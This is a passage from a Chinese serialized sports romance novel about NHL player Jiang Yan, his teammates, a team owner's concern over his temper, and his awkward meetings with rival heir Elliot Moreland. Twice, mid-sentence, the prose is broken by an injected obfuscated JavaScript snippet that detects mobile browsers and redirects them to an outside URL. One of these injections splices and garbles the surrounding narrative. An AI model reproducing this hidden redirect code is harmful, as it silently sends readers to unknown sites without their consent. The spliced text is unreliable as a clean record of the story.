霜咬队俱乐部的老板妲露拉·门罗把iPad放到办公桌的一边,屏幕上还显示着TSN网站上关于江砚的个人专题。她双手交叉垫着下巴,手肘撑在桌面上,沉着地看着坐在对面的霍洛威教练和队长洛根。 “这个嘛……”洛根有些不安地在转椅里摇晃两下,“其实他现在的表现真的很优秀。我们从来没在赛季刚开始的一个月里拿下这么多分。” “我知道,皮尔斯先生。”妲露拉柔和地看着洛根,“但是新赛季刚开幕一个月,他就已经拿下了去年在整个NHL赛季里的一半的受罚时间。如果接下来他因为在赛场上控制不住他的脾气被罚禁赛,那可是霜咬队无法承受的后果。我花那么大的代价把他签过来不是为了给自己添麻烦的。” 她说着,忽然看向洛根身边的教练:“霍洛威教练,我记得你曾经说过江砚已经在训练克制自己的脾气了?” “咳咳……是的,女士。”霍洛威教练的脸上更是一阵挂不住,“根据他自己跟我说的,他确实在练习克制自己在比赛时的冲动。” “没错,”洛根急匆匆地在一边补充,“每次比赛开场时他都在看关于小动物和大自然的纪录片来让自己平心静气……” “看来没什么作用不是吗?”妲露拉抬起手打断了洛根急赤白脸的解释,“鉴于明天霜咬队即将再次迎接同样势头正盛的嚎狼队,我建议你们立刻给江砚联系一个靠谱的心理干预师。我们需要的是一个战士,而不是一个死士。” ------------------------------------------------------ 江砚摸着脸上的化妆品带来的不适之感,别扭地在沙发里整理自己的坐姿。 此刻他正坐在丽思卡尔顿酒店总统套房北侧的会客区,背后是丹佛的天际线。灯光师在他左侧竖起柔光板,摄影师调着镜头焦距,捕捉他刚训练完后略显疲倦却锋利的侧脸。 ESPN的专访总会让他过于紧张,本来就没有很流利的英语更是说的磕磕绊绊。还好他的好哥们米夏也赶来陪同,看着那傻小子坐在房间对面冲他做鬼脸竖大拇指加油打气,心里不安的感觉也放松了不少。 虚掩的房间门被轻轻推开,洛根蹑手蹑脚地跟房间里的工作人员打着招呼,鬼鬼祟祟地绕过正在做专访的江砚和主持人走到了米夏身边。 “怎么样?”米夏看向洛根压低声音问道,“妲露拉骂你了吗?” “倒没有,”洛根小声回应道,在米夏身边坐好一起看江砚接受专访,“但是砚他惨了,估计要给他找心理治疗师。” “没点屁用。”米夏粗暴地做了个手势,“他连心理治疗师的话都听不明白,没人能开导他。” “我真的没办法了。明明他私底下还好,一上了冰场就像个疯子似的。就没个他认识的来自中国的伙伴吗?”洛根发愁地看着对面那个穿着西装革履英俊逼人的B人,“能开导开导他克制他在冰场上的脾气之类的。” “没有。”米夏像是回忆起了什么不好的事情似的,表情忽然变得严肃起来,“别问了。” “所以,砚。我能叫你砚吗?”在得到江砚的点头许可之后,那个魅力十足的女主持露出迷人的微笑,将那一头柔顺的红棕色头发挽到耳后,口中吐出来的英语带着轻微的爱尔兰口音,无疑给半吊子江砚地听力增加了一些难度,“在来到美国之前你在冰场上也是如此……干劲十足吗?” 江砚看着女主持鼻梁上分布的雀斑,脑中忽然回忆起在国内准备联赛集训时同队那个男生,他的脸上也有同样的雀斑。 “还好,”他嘴角勾起,眼睛瞟向旁边的落地窗,好像在回忆什么似的,“因为当时还在中国,我们交流起来也更加简单易懂,我也能更简单明了地理解队友们传达的信息。” 「“你个二椅子!”记忆中那个带着雀斑的男生在冰场上冲着江砚破口大骂,“回去嗦/吊去吧!”江砚冲上去一拳将他撂倒,骑在他身上把他打到满脸鲜血。」 “而且,在国内的时候,我的身边也有家人和朋友们的支持,让我更有信心和动力向我心中的目标发起冲刺。”江砚收回目光,看向女主持,咧嘴一笑,露出新镶好的烤瓷牙。 「“啪!”记忆里,带着被罚禁赛的坏消息回到家的江砚被妈妈狠狠扇了一个耳光,整个人向后跌倒摔在门口的鞋柜上。 “你就这么不争气,我还有什么脸见你爸。”妈妈像失了神一般看着他,嘴里反反复复魔怔似的念叨着这句话。」 “所以,如今我在美国孤军奋战,更加坚定了决心要创造属于自己的最佳成绩,回报当初支持我的人们。”江砚手腕一摆,浑身透露出一种游刃有余从容不迫的气息。 “我相信你的家人和朋友一定非常期待。”女主持也被他散发出的自信感染了,“那么你父母现在在国内也在同步关注你的比赛吗?” “啊……并没有。”江砚迟疑了一瞬,笑着说道,“因为时差原因,我比赛直播的时候我妈妈都在工作,所以一直没机会……” “那应该也会看回放对吧。”女主持用轻松的语气说道。 江砚停顿了片刻,微笑着点头:“是的,”他摇摇头,“每场回放都会看。” 落地窗外,旁边的大楼天台上方立着巨大的广告牌,江砚、洛根身为代表科罗拉多的王牌球员,在冰面上作战的画面在广告牌上熠熠发光。 ------------------------------------------------------ “我说了,你并不需要来看望我。”凯勒布坐在酒店房间柔软的大床上,有点不好意思地看着艾利奥特抱着果篮走进他的房间。 “我是代表俱乐部来表示慰问的。”艾利奥特并没有管他这那的,把那个精致的果篮放在附近的咖啡桌上,“并且顺便来打听你的伤势如何,俱乐部需不需要赶紧把你炒了赶紧换签另一个球员。” “你的幽默感越来越好了。”凯勒布一点也不生气艾利奥特说这种话。坐在他床边的是嚎狼队中锋乔什和其他队员们,也都露出了善意的笑声。 “说真的,”艾利奥特一屁股坐在凯勒布的床边,拍了拍他的膝盖,“揭幕战前你的膝盖就受伤了,到现在都没好利索。你确定你明天还能上场吗?” “百分之一百没问题,”凯勒布耸耸肩,“只不过今晚的慈善晚会我恐怕不能陪你还有莫里兰德先生去参加了。” “你放心,你现在最重要的就是好好休息。”艾利奥特温柔地拍拍凯勒布放在被子外面的手背,“还有就是放平心态。” “有这个破玩意儿在窗外,我这心态就放不好。”凯勒布翻了白眼,随手指向窗外。 艾利奥特顺着凯勒布手指的方向看过去,只见印着江砚在冰场上进球的潇洒身姿的广告牌正对着这边窗户。 “在你进来之前凯勒布已经生了半天气了。”乔什在一边哈哈大笑着说道。 “眼不见为净,我去给你把窗帘拉上。”艾利奥特抿起嘴唇,站起身快步走向窗边,伸手去拽那厚实的亚麻布窗帘。 广告牌上那一幕,正是上个赛季霜咬队对阿纳海姆潮翼(Tidewings)队的精彩名场面,那一场第二节剩32秒时,霜咬队三打四。江砚在后场断球,一人从底线像风一样一路横移到中区,没减速直接切进左侧圆弧区,下压假动作晃倒守门员,然后反手把球挑到门框上沿弹了进去。TSN直接将这一球评了年度Top3进球。 艾利奥特感觉胸口一阵紧缩,巨大的广告牌将这经典的一幕放大后,江砚看上去更如阿波罗一般天神下凡,几乎是帅到让人心痛的地步。 “嘿,莫里兰德二世,能帮我拿个橙子过来吗?”躺在床上的凯勒布指着果篮大声问道。 “没问题。”艾利奥特微笑着,拉上窗帘,转身走向咖啡桌。 ------------------------------------------------------ “挺累的,是吧。”专访时间结束,工作人员正在把器材什么的收拾起来。江砚长长地舒了口气走到米夏和洛根的身边,米夏笑着给了他一锤。 “你还好吗?”洛根关切地看着江砚略显疲惫的双眼。 “我还好。”江砚点点头,双手插进TomFord西装的口袋里,“不过我觉得我需要去楼下酒吧喝一杯。” 米夏和洛根对视一眼,还是说不出妲露拉想给他找心理干预师的安排。 “嘿,你看上去挺帅的。”米夏抬手拍拍江砚的胸膛,“你确定穿着这样一身还化着这么帅的妆不是去酒吧猎艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307909|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “你说得对。”江砚抬手摸了摸今早刮的干干净净的下巴,“我能不能去一趟你家用一下你的卸妆膏?” “滚你的。”米夏很高兴看到江砚还有开玩笑的心情。 这时那个充满魅力的女主持走了过来,洛根非常有眼力见地拉着米夏后退一步。 “嘿。”女主持走到江砚身边,将自己名片塞进江砚胸前的口袋里,“有空可以给我打电话~”她抛了个媚眼,转身和助理离开了。 江砚挑了挑眉毛,抬手从口袋里拿出那张名片——ESPN记者主持人葆拉·墨菲——和米夏对视了一眼。 米夏拼命想憋住笑。 这个电话注定是永远不会打出去了。 “走吧。”洛根走上前,并在心中暗暗决定暂时还是不要说出来妲露拉的安排,以免影响江砚的情绪,“我先陪你去喝一杯,今晚我们还得去那个慈善晚会呢。” “又要陪妲露拉参加无聊的派对吗?”江砚翻了个白眼,把那张名片放回口袋,跟上了洛根的步伐走出总统套房,“她明明知道我不擅长跟人聊天打交道。” “赞助商啊,我的大明星。”米夏摇摇头,和他们一起走向电梯,“你身上所有的行头都来自于那些大金主,你不好好给他们溜须拍马我们全队都要喝西北风了。那种上流场合,我想去都没机会。” “而且你不用紧张,今晚我会一直陪着你的。”洛根非常可靠地说着,拍了拍江砚的后背,几人一起走进了电梯。 “为了感激你,这位美丽女士的联系方式我送你了。”江砚把名片递给了洛根,“毕竟你也单身很久了。” “不了,”洛根笑着把名片推了回去,“让我们给这位女士一些尊重。而且我也并不需要。” 电梯门缓缓关上。 ------------------------------------------------------ “总之凯勒布,你现在除了好好休息之外什么也不用考虑。”艾利奥特站起身子,将西装的纽扣系好,“今天休息好了,明天才能好好表现。嚎狼队重铸荣光就靠你们这群进入21世纪以来最强的阵容了。” “你这话对小凯凯休息来说没有任何帮助,”床边一个大胡子后卫大笑着说道,“他越听这话越紧张。” “你别胡说。”凯勒布呵斥一声,转头看向艾利奥特,“你放心,我明天会努力的。” 艾利奥特露出一个甜甜的笑:“这才是我要听的话。”他转身向房间门口走去,“那我先回去了,为今晚的慈善晚会做准备,你们也好好休息。” 他停下脚步转回头来瞪他们一眼:“而且赛前不要出去乱搞!要是让我发现你们明天上场的时候一副被掏空的样子我会亲手杀了你们。” “天啊,小莫里兰德先生刚开始帮忙打理俱乐部几天啊,就开始对我们颐指气使了。”房间里队员们夸张地大呼小叫着。艾利奥特摇摇头笑了,打开房门来到走廊上。 运动员原本就荷尔蒙旺盛,赛前因为放纵欲望而搞垮身体的不计其数。艾利奥特生怕自己在决定帮忙打理俱乐部后也要面对这种烂摊子,毕竟男人的下半身真的是特别难以控制。 他按下向下的电梯按钮。 不知道江砚在赛前也会放纵吗…… 艾利奥特的脑中开始不受控制地幻想江砚和美丽的女子接吻缠绵的画面,他猛烈地摇了摇脑袋,企图将那个画面赶出脑内。 根据他这段时间内查阅的所有关于江砚的资料,目前他还没有和任何女性闹出绯闻。TMZ的狗仔们几乎日日夜夜蹲在他在丹佛的高层公寓楼下,但每日只能拍到他去训练和健身的照片,久而久之便也没人再蹲守他了。 他舌尖又开始不自觉地在口腔内顶起脸颊一侧,脚跟略微焦虑地拍打着地面。 一个月前江砚几乎将他压在自动售货机上的回忆几乎在他心里已经被盘包浆了,但每次想起来时心里都会涩涩的。 万一……如果说万一……江砚放纵自己时,不是和那些美丽的女人们,而是和男人们呢…… 还没等他想完这句话,“叮”地一声,电梯门开了。 艾利奥特抬起头,却愣在原地。 电梯里站着三个人,左边那个随性地靠在电梯墙壁上的,是霜咬队的守门员米哈伊尔·阿尔乔米耶夫。右边扶着扶手栏杆站得直直的,是霜咬队的中锋兼队长洛根·皮尔斯。而站在中间,双手插兜,脑袋微微偏左的,正是霜咬队的明星球员、王牌右前锋,江砚。 6. 06 香槟 艾利奥特已经记不清自己是怎么走进电梯里的了——他甚至不记得怎么走路了,是怎么进去的来着?爬进去的吗? 米夏靠在墙壁上,看清楚艾利奥特的脸庞时双眼露出惊讶的神情,嘴巴咧开一个大大的弧度:“哈……” 还没来得及笑出声,江砚的皮鞋轻轻踢了一下米夏的鞋跟。米夏瞬间心领神会地闭上了嘴巴,站直了身子。 艾利奥特僵硬地转过身去,他不敢看江砚的脸——为什么不看!我这是在害羞吗??——缓慢地将自己的背部转过去对着江砚的正面,在电梯中间摇晃着站稳。 电梯门缓缓合上。 “您要去几楼啊?”米夏故意靠近艾利奥特问道。 “啊……我……”艾利奥特吓了一跳,匆忙伸手去按楼层键,“我去那个……一楼……”刚伸过手去却发现他们早就按了一楼按键。 “……不好意思,你应该就是嚎狼队老板莫里兰德先生的儿子,艾利奥特·莫里兰德对吧?”电梯开始下行,洛根决定打破电梯里尴尬的氛围,主动向艾利奥特抛出闲聊的橄榄枝。 “啊,是的……你好。”艾利奥特的声音有点颤抖——他恨不得杀了自己——主动跟洛根握手,“你一定就是霜咬队的队长洛根·皮尔斯,我是你的忠实观众。” “过奖了。”洛根礼貌地笑着,向艾利奥特介绍他的队友,“这个是我们队的守门员,米哈伊尔·阿尔乔米耶夫。” “叫我米夏就行。”米夏主动伸手握住艾利奥特的手大力晃了晃。 艾利奥特不自然地冲米夏笑笑,收回手时原本白皙的手被米夏恶作剧地捏了几个红红的指印。 “这个就是我们队的右前锋,江砚。”洛根又向艾利奥特介绍他身后的江砚。 是的是的是的,江砚……我认识他……我可太认识他了。 艾利奥特无助地闭上眼,心率乱得一塌糊涂,脸红得就像一个月前在Xcel能源中心被kisscam拍到的模样。 尽管在他早就做好了要在慈善晚会上见到偶像的心理准备,但此刻这么毫无防备地撞见,他的心脏真的几乎无法承受。 伸头一刀缩头还是一刀,不如现在就大大方方和他认识,也许晚上就会更放松了呢。 “……你好……”艾利奥特有点破音,正欲转过身去伸出手—— ——电梯停在了第十四楼。 电梯门应声打开,进来拖着行李箱并正叽叽喳喳聊天的白人一家四口,一对夫妻外加一个男孩一个女孩。原本就狭小的电梯内瞬间就被挤得满满的。 “唔!”艾利奥特被挤得往后猛退两步,后背撞进了江砚的怀里。 江砚抬起双手,放在了艾利奥特两边的腰上。 艾利奥特倒吸一口冷气,整个人几乎立刻跳了起来,后背和江砚的胸膛拉开了几英寸的距离。 江砚低下头,凑到艾利奥特右侧耳边:“小心(Becareful)。” 他压低声音说道。 电梯继续下行。 “不好意思……哦我的天啊!!”那个带着鸭舌帽的中年男人本想回头为给他们几位带来不便而道歉,却在看清楚江砚、洛根和米夏的面孔后惊叫出声,“你们是霜咬队的!!亲爱的!我们和霜咬队的队员们在同一个电梯里!!” 那个中年女人和那两个小孩也发出惊喜的尖叫,丝毫没有注意到站在江砚前面头顶几乎要冒出蒸汽来的艾利奥特。他们此刻正手忙脚乱地拉开身上背包的拉链匆忙找能让他们签名的纸和笔。 “拜托,江砚先生,能给我签个名吗?”那个小男孩急切地踮起脚尖,举起他的球帽和他妈妈的口红。 “当然。”江砚伸出胳膊,仿佛将艾利奥特圈在怀里似的,伸手接过了那个球帽和口红,“你叫什么名字?” “托比,先生。”小男孩的双眼闪闪发光,“将来我也想成为像你一样优秀的前锋!” “那你一定要好好练习,不要偷懒哦。”江砚微笑着,一手拿着球帽,一手旋开口红盖子给托比签下to签。 艾利奥特能感觉到江砚正在签字的手就紧紧靠在他的右耳边,他只要稍稍一转头就能蹭到江砚的手背。 “你叫阿德丽娜是吗?亲爱的?怎么拼?”艾利奥特的右手边,米夏正蹲在地上,和那个拿着妈妈的眼线笔让他在书包上签名的小女孩亲切交流。 而他的左手边,洛根正和那对中年夫妻凑一起对着手机进行自拍。 整个电梯内,只有他和江砚还紧紧靠在一起,并且毫无交流。 “好了。”江砚结束了潇洒的to签,早在成为NHL新秀明星之前,往更早了说,在他还是个籍籍无名的练冰球的半大孩子时,他就已经在笔记本上一遍又一遍地练好了自己的签名。他早就确定自己一定会成功的。 也是必须要成功的。 他伸手,又一次像是要把艾利奥特圈进怀里似的,将那顶球帽和口红递回给托比。 “来,所有人,一起看我镜头!”那位中年男人热情不减,举起他的手机用前置镜头对准电梯里的所有人,“我必须得拍照留念,这机会太难得了。” 艾利奥特低下脑袋,尴尬到无所适从,感觉自己就像闯进了霜咬队的私人聚会似的。 这时江砚的双手轻轻扶住了艾利奥特的双肩,仿佛安抚似的,动作极其轻微地捏了捏。 艾利奥特怔住片刻。 “来,那位小伙子,你也看镜头!”中年男人爽朗地说道。 艾利奥特咬着下唇,抬起头来,挤出一个还算自然的笑容,看向中年男人的手机镜头。 快门声音响起,他和江砚的脸庞被定格在手机屏幕里。 中年男人放下手机,和这几个球星热络地聊起了最近的比赛。 江砚却没有将双手从艾利奥特的肩上放下来,他语气轻松地和自己的粉丝们聊着,余光里却敏锐地注意到艾利奥特脑袋两边头发间露出来的耳朵尖越来越红。 “嘿!我记得你!”那个叫阿德丽娜的小女孩忽然指着艾利奥特惊喜地说道,“你就是那个表情包上满脸奶昔的男人。” 艾利奥特闭上双眼,点了点头:“没错。”他的声音充满苦涩,“被你发现了(Yougotme)。” 电梯里充满了愉快的笑声,艾利奥特太痛苦了,他甚至都不敢确定江砚有没有跟着他们一起笑。他甚至都无法确定江砚那双依旧放在他肩上的双手是不是因为笑而收紧了力度。 “我觉得那个表情包还蛮可爱的。”江砚的声音忽然从艾利奥特头顶上方传来。 他听上去好像并不觉得好笑,但语气也没那么严肃。 “嗯,对。”洛根立刻在一边补充道,“那次纯粹是不理智的球迷的过错。” “你们说的对。”中年女人点点头,“阿德丽娜,你不应该这么没礼貌,快跟这位先生道歉。” “没关系。”艾利奥特摆摆手,脸上露出宽容的微笑,“她还小,不懂得。” 电梯到达一楼,门开了。 那一家四口向他们几人道别后,拉着行李箱兴奋地聊着天离开了。 “呃……那个……我先走了。”艾利奥特局促不安地走出电梯,冲着他们点点头,“回头见。” “再见。”洛根微笑着回应。 艾利奥特的眼神落在江砚身上,而江砚的双眼正毫不掩饰地直直盯着他。 艾利奥特感觉自己的胃仿佛被牵动了。他动作有些笨拙地转过身去,逃也似的匆忙走向大厅。 “真是个纯情的少爷啊。”米夏站在江砚身边感叹道,用肩膀轻轻撞了撞他,“你就好这一口,不是吗?” 洛根转过身来:“你们在说什么?” “没什么。”江砚和米夏异口同声地同时回复道。 “那赶紧去喝酒吧,跟你们聊这半天我嘴都干了。”洛根说着,伸手拍拍这哥俩,几人转身向着一楼的ELWAY’SDowntown走去。 艾利奥特狼狈地走出丽思卡尔顿的大门,上了早就在路边恭候多时的宝马750i。 “开车。”他呼吸急促地对司机说道。 车子开过了三个街区后,他那狂躁的心跳依旧无法平复。 天啊天啊天啊……好不容易挨到了正式跟江砚见面的这一天竟然发生了这种事,脸都快丢尽了。 他红着脸,从西装口袋里掏出手机,手指发颤地点开X,在搜索框输入江砚的名字,点击“最新”。 果然,刷新没几次后,他终于刷出了那个刚刚在电梯里的中年男人的账号,并看到了他发布的照片。 「“#幸运至极#霜咬队最强#江砚#洛根·皮尔斯#米夏·阿尔乔米耶夫竟然在酒店电梯里遇到了霜咬队成员!!!啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!最幸运的一天!!!!”【配图】【配图】【配图】【配图】」 艾利奥特挨个点开照片保存,又打开手机相册,反复斟酌,找到一张他和江砚挨得最近、脸庞看起来最清晰而且可以清楚看见江砚的手放在他肩上的照片。 他双指放大,整个屏幕上只留下了他和江砚的身影。 “先生,我们到四季酒店了……先生?”司机回头招呼道。 艾利奥特不想说话,他闭上眼睛,向后靠在后排座椅上,手机屏幕紧紧地贴在了心脏的位置。 ------------------------------------------------------ “嗯,再来点。”妲露拉放下空的香槟杯,伸手又从托盘上拿了一杯。 今晚的慈善晚会和往常的晚会并无什么区别,就是一堆各界名流聚在四季酒店的大型宴会厅内,喝点小酒,听点演讲,再来场毫无趣味的拍卖,剩下的时间就是自由社交。对于妲露拉来说,这次体育慈善晚会上的各位赞助商才是她眼中真正的“贵宾”。 “今年估计能给江砚拿下更多的广告代言,”妲露拉看着不远处正在觥筹交错的Bauer品牌代言管理负责人,转头向站在她身边负责江砚的经纪人说道。 “Bauer可是个香饽饽,不知道有多少明星前锋都想和他们签广告代言。”江砚的经纪人口上是这么说,其实内心早已摩拳擦掌。 “拜托,今年赛季才刚开始一个多月,就拿下13分。”妲露拉笑了,“Bauer的品牌代言管理负责人除非是个傻子才不会想和江砚签约……哦,f*ck……”妲露拉手一抖,香槟差点洒在她今晚穿的这套剪裁锋利的黑色丝绒西装胸前。 “怎么了?”经纪人忙放下手中的香槟,从口袋里掏出手帕递给妲露拉。 “该死的……是明尼苏达嚎狼队的老板威廉·莫里兰德和他儿子。”妲露拉草草擦了两下胸口,将手帕丢在一边,“你看看他们身边的是不是负责嚎狼队明星球员的经纪人?” “他娘的(Sonofabi*ch)……还真是。他们和凯勒布·哈特的经纪人一起来的。”江砚的经纪人伸长了脖子看清楚后失声骂道。 “那个凯勒布的经纪人去和Bauer的负责人聊天了,你也赶紧过去。”妲露拉推了江砚的经纪人一把,“我负责去和莫里兰德父子俩聊天,把他们拖住。” ------------------------------------------------------ “现在最重要的不仅仅是把分数拉上来,还有就是维持这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天啊,莫里兰德先生。”妲露拉睁大眼睛,“您的儿子完全可以当明星了,瞧瞧这张脸。” “你就别夸他了,”威廉嘴上这么说着,但是脸上却笑开了花。自从艾利奥特出生那一刻起,他就知道这孩子将来一定会长得特别漂亮,因为艾利奥特完完全全遗传到了他前妻的美貌,“这对他没有任何帮助。” “这话我可不同意,莫里兰德先生。在我看来,一张漂亮的脸蛋其实有非常高的商业价值。”妲露拉笑了笑,“你知道布拉德·皮特只需要站在那里对着镜头露出他那个迷人的微笑,就赚了700万美元吗?” “那可是好莱坞明星,并不是我家这个孩子能匹敌的。”威廉笑着,假装不经意地说道,“比如我们凯勒布·哈特的商业价值,站在那里拍个广告就能赚艾利奥特整个季度都赚不来的。” “说的对。”妲露拉点点头,“凯勒布·哈特的确不容小觑。不过,说到商业价值,”她狡黠地看了一眼威廉,“我们队的江砚也不低。” 艾利奥特忽然捏紧了手里的香槟杯。 “啊……江砚,我听说过。”威廉脸上露出了耐人寻味的表情,“大明星,这个赛季出尽了风头。商业价值确实挺高,不过风险也不小。” “还好啦,”妲露拉故意忽略威廉那古怪的语气,“像他这种刚过二十岁的运动员,总有年轻气盛的时候。我像他这么大的时候,做出来的荒唐事更是一大堆呢。” “是嘛。”威廉干巴巴地说道,像他这种出身明尼苏达州传统名门家族的生意人,他这几十年来几乎从来没出现过妲露拉口中这种可以用“荒唐”来形容的轶事——他不会允许自己的人生行差踏错。 “那都是过去的事了,不过你应该去HalfAcreBeerCo看看,那里估计到现在都有我留下的痕迹。”妲露拉哈哈大笑,“不过我很庆幸年轻的时候疯狂过,才能让我西北大学读书的时候遇到了我现在的妻子。” 威廉的脸色变得更铁青了。艾利奥特努力掐着大腿才能让自己不笑出来:黑人血统的女老板、不羁的过往历史、LGBTQ的身份,妲露拉·门罗本人的所有特征简直就是在威廉脆弱的神经上疯狂起舞。 “话说回来,你们队的凯勒布·哈特呢?”妲露拉笑够了,开始转头四下寻找。 “他……他今晚没来。”威廉竟意外地说话有点结巴,“为明天的比赛做准备。” “哎呀,年轻人嘛,让他们比赛前放松一下好啦。”妲露拉说着,转身向某个方向伸手招呼,“我今晚就给我们霜咬队的放假了,嘿,你们过来一下。” 艾利奥特后退一步,只见在昏暗不清的灯光下,本来正在和其他宾客聊天的江砚、洛根在礼貌和他们道别后,转身向他们的方向走来,身影也逐渐变得清晰,仿佛从梦境来到了现实。 “来,我来给你们介绍一下。”妲露拉示意江砚和洛根站到她的身边,“这位是嚎狼队俱乐部的拥有人,威廉·莫里兰德先生。这一位呢,就是他的儿子,也是未来嚎狼队的继承人……艾利奥特,对吧?” “对。”艾利奥特鼓足勇气说道,主动向刚和威廉握完手的江砚伸出了自己的手,“你好,我叫艾利奥特·莫里兰德。” 江砚看着即使是在并不明朗的光线下也能看出来脸红扑扑的艾利奥特,露出一个真心的微笑:“你好,艾利奥特,我叫江砚。我们又见面了。” 艾利奥特握着江砚宽大温暖的手掌,感觉自己的胸膛就像一个充满了气的气球一般,自己的身体也要跟着飞到天花板上了。 “我想,你还欠我一罐可乐。”他红着脸,终于略显羞涩地说了出来这几天他白天梦里都在排练的和江砚见面时的开场白。 江砚笑得更开心了。 7. 07 姜黄夜酌 2025年,11月14日,科罗拉多州,丹佛,鲍尔竞技场。 “头疼吗?”洛根走进后场更衣室,顺手将头盔丢到江砚大腿上。 坐在江砚身边的米夏警觉地转过头来:“什么头疼?” 江砚感觉自己耳根有点发烧,低头看着手机上关于蜗牛的自然纪录片,空闲的手拿起头盔不自然地摆弄着。 “昨晚心情不好,慈善晚会后拉着我去temple喝酒来着。”洛根笑着坐在长椅上开始给自己更换护膝。 “你们俩昨晚又去参加晚会又去喝酒?一点不跟我们说?”马泰奥懊恼地大声喊道。 更衣室里顿时一片怨声载道。 米夏看着江砚沉默不语的模样,疑心更加重了一层。他靠近江砚,用屁股撞了一下:“昨晚喝酒怎么不叫我一声?” “你昨晚陪斯维特拉娜,哪有时间腾出来陪我?”江砚敷衍道,心不在焉看着手机屏幕上的蜗牛在树枝上慢慢爬。 “你小子少转移话题,”米夏敏锐地抓住了他言不由衷的细节,“说实话,你昨晚是不是在晚会上见到那个小少爷了?” 江砚长叹一口气,摘掉AirPodsPro:“反正什么事都瞒不过你。”他站起身把手机放到衣柜顶端,“是,确实是遇到了。” “所以……不好?”米夏凑到他身边低声问道。 “没有,他很好。”江砚声音放低,不想让身边其他大老爷们听到,“事实上,有点好得太过分了。” 米夏挑起眉毛,心下明白了七八分:“你没对他上手,对吧。” 江砚摇摇头,给自己扣上头盔:“他不是那类人。” 米夏促狭地笑了一声:“这会子又正人君子了?” “我认真的。”江砚转头看他,“当初不是你跟我说的不要随随便便走心,否则……” 他说不上来了,当年在青少年联赛被当时的队友当众骂“二椅子”的回忆又一次猛地冲到眼前。 “好好好……咱不说了。”米夏看着江砚的脸色,忙连声安慰,“放平心态,马上就要开始和嚎狼队比赛了,不要因为这个影响你。” 江砚闭上眼,做了个深呼吸。 米夏安慰似的拍拍江砚的肩膀。 洛根在更衣室另一头开始召唤队员们过去进行例行赛前动员演讲。江砚冲着米夏点点头,将护齿塞进嘴里叼着,与他一同过去加入队员们围成的小圈子。 手臂搭上身边队友的肩膀,江砚的双眼放空。他根本听不进去洛根在说什么,他的嘴一张一合,吐出的字眼仿佛化在了更衣室内潮湿闷热的空气中,粘稠地渗进他的皮肤,让他窒息。 ------------------------------------------------------ “当然可以。”艾利奥特的声音仿佛还回荡在他耳边。那是昨晚他踌躇满志地向这个漂亮男孩说出“一起出去走走”的提议时接收到的满意回复。 那时江砚还以为自己肯定会度过一个美妙的夜晚。 他们走出宴会厅后坐电梯下到一楼,在EDGE酒吧的吧台前坐下。 “有什么无酒精饮料吗?”江砚坐到吧台椅上对酒保说道,“比如说可乐之类的。” 吧台后的酒保看到江砚后,表情看似很平静,但耳根后面还是因为过于激动起了一片红潮,“不好意思,江砚先生,我们这里没有可乐。不过有几款无酒精特调,您可以看看酒水单。”他冲江砚露出一排白牙,“无论您点什么都是免费的,我们请您。” 他说着,将一份印有繁杂花体文字的精致厚磅棉质纸塞进江砚手里。江砚皱起眉头打量着这份酒水单的“无酒精饮料”栏里那些时髦上流又看起来很难喝的饮料,没有一个是符合他欠艾利奥特的“一罐可乐”那种类型的。 他还在犹豫,酒水单却被人从指尖轻轻抽走。 “我随便来一份这个‘姜黄夜酌’(TurmericTurndown)特调就好。”艾利奥特随便扫了一眼酒水单,指向其中一项,“看起来比较甜。” 他又看向江砚:“你要喝什么?” 他的嘴角附近有个浅浅的酒窝。 “随便给我来杯精酿啤酒就好。”江砚把视线从酒窝上移开。 “就按他说的。”艾利奥特把酒水单顺着吧台表面推了回去,酒保点头转身离开。 江砚侧过头看向他:“……谢谢。” “没事。”艾利奥特笑了笑,无所谓地摆摆手,还沉浸在与追星成功的喜悦之中,就连白天时电梯里的那次尴尬见面仿佛都不算什么了,“这里看起来也不像是会卖这种高热量碳酸饮料的地方。” 艾利奥特这句话说得很自然。江砚嘴角轻微上挑,他喜欢自己刚才那点不耐烦被艾利奥特不动声色地接住的感觉。 “看来我那罐可乐,短时间内是还不上了。”他随口说道,语气比自己想象中要轻。 “没关系。”艾利奥特在昏暗的灯光下露出一个略显羞涩的微笑。 江砚的心痒痒的,他想伸手把艾利奥特额头上那绺不听话的金棕色头发撩到耳后去。 “注意,哥们。”米夏的声音忽然在他心底里响起,“你现在的身份不允许你玩这种走肾又走心的游戏。” 酒吧里灯光昏暗,音乐被调得很低。江砚靠在吧台上,听见自己心跳的节奏变得有点乱。他本能地想把这种感觉归咎于环境——人太多,灯太暗,又刚结束一场漫长的名利场社交。 他不该在这种地方、对这种人分神。 江砚捏紧了一下放在吧台上的右拳,指节发出“嘎巴”的声响。 艾利奥特全然没有感受到江砚上下打量的目光,在高脚椅上整理了一下自己的坐姿:“说起来,虽然我之前对冰球了解不多,但这段时间看了你几乎所有的比赛录像。” 江砚抬眼看他,下意识挑了下眉:“没必要做到这种程度。” “可能是职业病吧。”艾利奥特的笑依旧得体中透着腼腆,“一旦开始了解,就会想把事情弄清楚。” 艾利奥特的眼睛闪闪发亮,江砚无法在这双眼中找出任何暧昧的讯息。 “你不需要为了我去做这些。”他说。 艾利奥特却只是耸了耸肩,没有再继续这个话题。 他们之间短暂地安静下来。酒保端上他们点的饮品,艾利奥特低头喝了一口,似乎已经满足于这一刻的距离。 江砚张张嘴,已经到了嘴边的话却问不出口。 “哦对了,我可以跟你交换一下联系方式吗?”艾利奥特忽然抬起头问道,语气平静得近乎克制,“如果以后有工作上的问题,或者……比赛方面的事。” 江砚的指尖在吧台边缘停顿一秒。 